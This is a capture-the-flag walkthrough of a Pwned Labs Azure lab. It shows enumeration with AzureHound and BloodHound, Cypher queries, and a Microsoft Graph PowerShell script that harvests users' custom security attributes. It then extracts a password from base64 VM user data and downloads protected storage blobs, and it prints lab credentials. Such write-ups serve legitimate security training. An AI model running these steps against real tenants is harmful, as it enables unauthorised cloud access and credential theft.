Note : This article was inspired by content from Pwned Labs. Special thanks to Pwned Labs for providing insightful resources and awesome learning experience for learners.

Overview => After discovering that a public company GitHub repository contained accidentally committed credentials, Mega Big Tech has requested us to investigate the extent of potential exposure. They want to determine if these credentials can be used to access their cloud environment and if any confidential data is at risk.

Setting Up

  • Download the latest azurehound binary from here
  • Unzip and and move to /bin for faster access
❯ unzip azurehound-linux-amd64.zip 
❯ sudo mv azurehound /bin/
❯ sudo chmod 777 /bin/azurehound

Just as we need credential access when enumerating On-Prem, we also need credential access here too. Credentials have been given for this lab though :

IAM user : [email protected]
Password : [REDACTED]
Login Portal : https://portal.azure.com/
Azure tenant ID : Find this on portal or by running 
	* az login
	* az account show

{
  --SNIP--
  "tenantId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  --SNIP--
}

To run azurehound we need the tenantID, Username and the Password. Just as shown above, you can get the tenantID by using Azure-CLI

azurehound -u "[email protected]" -p '[REDACTED]' list --tenant "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" -o output.json 

Start up both neo4j and bloodhound

❯ sudo neo4j console
❯ sudo bloodhound

Then go ahead and upload the output.json data created by azurehound

Scrolling down under the Database Info tab you should see “Azure Objects”

As user we start by enumerating the properties which our current user has

Nodes and Edges

BloodHound consists of nodes and edges, which together form a graph that reveals potential attack paths and privilege relationships within the environment ;

  • Nodes : represent entities or objects in Azure AD. Few examples include:
    • Users: Azure AD accounts.
    • Groups: Security or distribution groups in Azure AD.
    • Applications: Azure AD applications that use service principals.
    • Service Principals: Representations of applications within Azure.
    • Subscriptions: Azure subscription resources.
  • Edges ; represent the relationships or permissions between nodes.
    • Membership: A user or service principal being a member of a group.
    • Ownership: A user or group owning a service principal or application.
    • Role Assignments: Showing roles that provide permissions over resources like subscriptions or resource groups.
    • Privileges: Showing a user’s privileged access over an entity (e.g., a user having Owner or Contributor role over a resource).

Edges are far more important in Azure has they show us the permission resources have over each other, As attackers it reveals attack paths show ways one can navigate from a low-privilege node to a high-privilege node. Lot of Az edges have been discussed here

Bloodhound tells us that our current user belongs to 5 Az admin roles with an assigned role named UPDATE MANAGER and four roles inherited from the IT-Helpdesk group.

  • Update Manager: Allows helpdesk to update manager roles when users change teams; low security impact.
  • Directory Readers: Allows users to read basic directory info, excluding sensitive data.
  • Printer Technician: Allows managing printers; low security interest.
  • Attribute Definition Reader: Can read definitions of custom security attributes.
  • Attribute Assignment Reader: Can read custom security attribute keys and values for Microsoft Entra objects.

Cypher Queries Overview

Since generally there are no much queries like “Find All Domain Admins” in bloodhound for azure we can start by creating our own custom cypher query, This cheatsheet contains alot of cypher queries

For example, the below returns all Members of the Global Administrator role.

MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p

Note : Azure Global Administrator role is equivalent to the Domain Admin privilege in Active Directory.

Setting Up Query :

Executing Query To List All Global Admins :

Hunting for custom security attributes

  • This feature was released in Azure on December of 2021
  • This was introduced to roll-out of Attribute Based Access Control (ABAC)
  • Used to store sensitive data which is a potential target for attackers

Go ahead and install the Microsoft.Graph module as described by Microsoft on how to query for custom security attributes

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab>  Install-Module Microsoft.Graph

Then run the below command to perform authentication request as our current Azure AD user.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Connect-MgGraph

Welcome to Microsoft Graph!

Connected via delegated access using 14d82eec-204b-4c2f-b7e8-296a70dab67e
Readme: https://aka.ms/graph/sdk/powershell
SDK Docs: https://aka.ms/graph/sdk/powershell/docs
API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.

The below script then connects to Microsoft Graph, retrieves all users in Azure AD, and loops through each user to display their custom security attributes.

# Connect to Microsoft Graph
Connect-MgGraph

# Retrieve all users
$allUsers = Get-MgUser -All

# Loop through all users and retrieve their custom security attributes
foreach ($user in $allUsers) {
    $userAttributes = Get-MgUser -UserId $user.Id -Property "customSecurityAttributes"
    
    # Display the additional properties of custom security attributes for each user
    Write-Host "User: $($user.UserPrincipalName)"
    $userAttributes.CustomSecurityAttributes.AdditionalProperties | Format-List
    Write-Host "---------------------------------------------"
}

As shown in the below screenshot the user [email protected] has a custom security attribute named Helpdesk that seems to store the password of the user.

logging into to the Azure Portal as user jose...., we can lookup the [email protected] user in the console.

We see that Helpdesk staff added the attribute to allow them to login and troubleshoot as this user.

Manual Enumeration - Bloodhound misses

BloodHound effectively identifies directory roles like this but currently misses Azure role assignments made at the subscription, management group, resource group, or resource level.

  • Navigating to the Azure portal we can go ahead and select “Microsoft Entra ID”

  • Then click on “Groups”

  • Search for the helpdesk group and select the IT-Helpdesk to bring up its properties as shown in bloodhound previously.

  • Now click Azure role assignments.

As shown below the group, “IT-Helpdesk” is assigned the Reader role, with the scope set to the SECURITY-PC virtual machine.

We could also have done the above using the PowerShell Az module and the Get-AzRoleAssignment cmdlet.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Connect-AzAccount   
Please select the account you want to login with.

Retrieving subscriptions for the selection...

Subscription name           Tenant
-----------------           ------
Microsoft Azure Sponsorship Default Directory


PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Get-AzRoleAssignment

RoleAssignmentName : 4b5ae432-6902-4ca2-bbed-815492eef631
RoleAssignmentId   : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourcegroups/content-static-2/providers/Microsoft.Compute/virtualMachines/SECURITY-PC/providers/Microsoft.Authoriz
                     ation/roleAssignments/4b5ae432-6902-4ca2-bbed-815492eef631
Scope              : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourcegroups/content-static-2/providers/Microsoft.Compute/virtualMachines/SECURITY-PC
DisplayName        : IT-HELPDESK
SignInName         : 
RoleDefinitionName : Reader
RoleDefinitionId   : acdd72a7-3385-48ef-bd42-f606fba81ae7
ObjectId           : 8a517e87-6b05-45ae-b1ca-7436f1682602
ObjectType         : Group
CanDelegate        : False
Description        : 
ConditionVersion   : 
Condition          : 

Extracting Credentials

Since we have Reader access to a virtual machine, something that is worth checking is custom user data fields, Go ahead and click the SECURITY-PC resource

Click on the Operating system menu under the Settings section, the User data field we see that an Azure CLI command has been added, including a comment with credentials!

# Credentials: User: security-user | Password: Imp0sec0sT! az storage blob download --account-name securityconfigs --container-name security-pc --name config-latest.xml --auth-mode login

We can get the virtual machine user data from the command line instead of using the Az portal as we did previously, as shown below.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Get-AzVM -ResourceGroupName "content-static-2" -Name "SECURITY-PC" -UserData


ResourceGroupName : content-static-2
Id                : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.Compute/virtualMachines/SECURITY-PC
VmId              : 648c8a08-c90a-4a95-8922-4cbf28375bcb
Name              : SECURITY-PC
Type              : Microsoft.Compute/virtualMachines
Location          : eastus
LicenseType       : Windows_Client
Tags              : {}
HardwareProfile   : {VmSize}
NetworkProfile    : {NetworkInterfaces}
SecurityProfile   : {UefiSettings, SecurityType}
OSProfile         : {ComputerName, AdminUsername, WindowsConfiguration, Secrets, AllowExtensionOperations, RequireGuestProvisionSignal}
ProvisioningState : Succeeded
StorageProfile    : {ImageReference, OsDisk, DataDisks, DiskControllerType}
Identity          : {PrincipalId, TenantId, Type}
Zones             : {1}
UserData          : IyBDcmVkZW50aWFsczogVXNlcjogc2VjdXJpdHktdXNlciB8IFBhc3N3b3JkOiBJbXAwc2VjMHNUIQpheiBzdG9yYWdlIGJsb2IgZG93bmxvYWQgLS1hY2NvdW50LW5hbWUgc2VjdXJpdHljb25maWdzIC0tY29udGFpbmVyL
W5hbWUgc2VjdXJpdHktcGMgLS1uYW1lIGNvbmZpZy1sYXRlc3QueG1sIC0tYXV0aC1tb2RlIGxvZ2luCg==
TimeCreated       : 10/31/2023 3:24:18PM
Etag              : "16"

The UserData variable is what we need which is in base64 format, we can go ahead and decode this using your linux OS

echo "IyBDcmVkZW50aWFsczogVXNlcjogc2VjdXJpdHktdXNlciB8IFBhc3N3b3JkOiBJbXAwc2VjMHNUIQpheiBzdG9yYWdlIGJsb2IgZG93bmxvYWQgLS1hY2NvdW50LW5hbWUgc2VjdXJpdHljb25maWdzIC0tY29udGFpbmVyL
W5hbWUgc2VjdXJpdHktcGMgLS1uYW1lIGNvbmZpZy1sYXRlc3QueG1sIC0tYXV0aC1tb2RlIGxvZ2luCg==" | base64 -d

# Credentials: User: security-user | Password: Imp0sec0sT!
az storage blob download --account-name securityconfigs --container-name security-pc --name config-latest.xml --auth-mode login

Now trying to use the command shown after decoding the b64 text we have the following error cos we are not yet logged in as the security-user who has the permission to do so.

Run the below command on pwsh to log in as the security-user user for privileged access

az login --scope https://storage.azure.com/.default

# When prompted fill in the below
Username : security-user@megabigtech.com
Passowrd : *************

If we run the command again we have alot of config output and sensitive information including global administrator credentials

We can also view this config files using the Az portal, Log in as the security-user user and search for the securityconfigs resource (storage account name)

Under the “Data Storage” drop down select the Containers menu

Then click on the security-pc container name

We can then see the config file we accessed earlier including the flag.txt file for this challenge lab

Go ahead and download the flag file using the Azure-CLI tool as used earlier

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> az storage blob download --account-name securityconfigs --container-name security-pc --name flag.txt --auth-mode login         
Finished[#############################################################]  100.0000%
******************************

Have fun 𓆝 𓆟 𓆞 𓆝 𓆟

Resources